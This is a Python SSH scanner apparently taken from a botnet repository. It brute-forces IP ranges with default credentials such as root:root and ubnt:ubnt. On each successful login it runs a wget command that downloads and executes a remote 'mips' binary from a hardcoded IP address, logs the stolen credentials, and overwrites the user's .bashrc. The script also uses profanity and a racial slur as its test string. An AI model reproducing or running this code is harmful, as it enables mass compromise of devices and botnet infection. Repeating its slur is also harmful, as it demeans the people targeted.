Path: blob/master/Botnets/Scanning/AUTOSCANNER/SWScan.py
5038 views
#!/usr/bin/env python12import threading, paramiko, random, socket, time, os, sys34if not os.geteuid()==0:5sys.exit("\nRoot access only fucking skid\n")67os.system("clear")8if len(sys.argv) < 3:9print "SWScan DONT RAPE ME PLS"10print "Usage: python "+sys.argv[0]+" [Start IP] [End IP] [0/1/2/perl/ubnt]"11sys.exit("Example: python "+sys.argv[0]+" 125.27.0.0 125.27.255.255 1\n")1213sys.stdout.write("\x1b]2;SWScan V1\x07")14os.system("clear")15os.system("echo -e 'ulimit -s 999999; ulimit -n 999999; ulimit -u 999999\n' > ~/.bashrc")16os.system("ulimit -s 999999; ulimit -n 999999; ulimit -u 999999")17paramiko.util.log_to_file("/dev/null") #quiets paramiko output18os.system("sysctl -w fs.file-max=999999 >/dev/null")1920blacklist = [21'127'22'192'23]2425passwords = [26"ubnt:ubnt",27"root:root",28"root:admin",29"admin:admin",30"root:1234",31"admin:1234",32"guest:guest",33"user:user",34"test:test",35]3637if sys.argv[3] == '1':38passwords = [ "root:root", "root:admin", "admin:admin", "ubnt:ubnt", "root:1234", "admin:1234", "guest:guest", "user:user", "test:test" ] #Slow but effective39if sys.argv[3] == '2':40passwords = [ "root:root", "admin:admin", "ubnt:ubnt" ] #faster with decent execution41if sys.argv[3] == 'perl':42passwords = [ "pi:raspberry", "vagrant:vagrant" ] #perl scanner43if sys.argv[3] == 'ubnt':44passwords = [ "ubnt:ubnt" ] #only ubnt4546raw_input("Press <ENTER> to Scan")47credit = '# THIS IS PRIVATE BY Aries & B1NARY'48print "\033[0m" + credit + "\033[0m"4950def ipRange(start_ip, end_ip):51start = list(map(int, start_ip.split(".")))52end = list(map(int, end_ip.split(".")))53temp = start54ip_range = []5556ip_range.append(start_ip)57while temp != end:58start[3] += 159for i in (3, 2, 1):60if temp[i] == 256:61temp[i] = 062temp[i-1] += 163ip_range.append(".".join(map(str, temp)))6465return ip_range66class sshscanner(threading.Thread): # TAG: 1A67def __init__ (self, ip):68threading.Thread.__init__(self)69self.ip = str(ip)70global passwords71def run(self):72x = 173while x != 0:74try:75username='root'76password="0"77port = 2278s.close()79s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)80s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)81s.settimeout(3)82s.connect((self.ip, port))83s.close()84ssh = paramiko.SSHClient()85ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())86dobreak=False87for passwd in passwords:88if ":n/a" in passwd:89password=""90else:91password=passwd.split(":")[1]92if "n/a:" in passwd:93username=""94else:95username=passwd.split(":")[0]96try:97ssh.connect(self.ip, port = port, username=username, password=password, timeout=3)98dobreak=True99break100except:101pass102if True == dobreak:103break104badserver=True105stdin, stdout, stderr = ssh.exec_command("echo nigger")106output = stdout.read()107if "nigger" in output:108badserver=False109if badserver == False:110os.system("echo -e " +self.ip+ " >> .infected.ips")111os.system("echo -e " +username+ ":" +password+ ":" +self.ip+ " >> infection.log")112print "\033[32mInfecting -> " +username+ ":" +password+ ":" +self.ip+ "\033[0m"113ssh.exec_command("cd /tmp && wget http://172.98.197.121/mips && chmod +x mips && ./mips")114time.sleep(3)115ssh.close()116if badserver == True:117ssh.close()118except:119pass120x = 0121ip_range = ipRange("" +sys.argv[1], "" +sys.argv[2])122for ip in ip_range:123try:124t = sshscanner(ip)125t.start()126except:127pass128129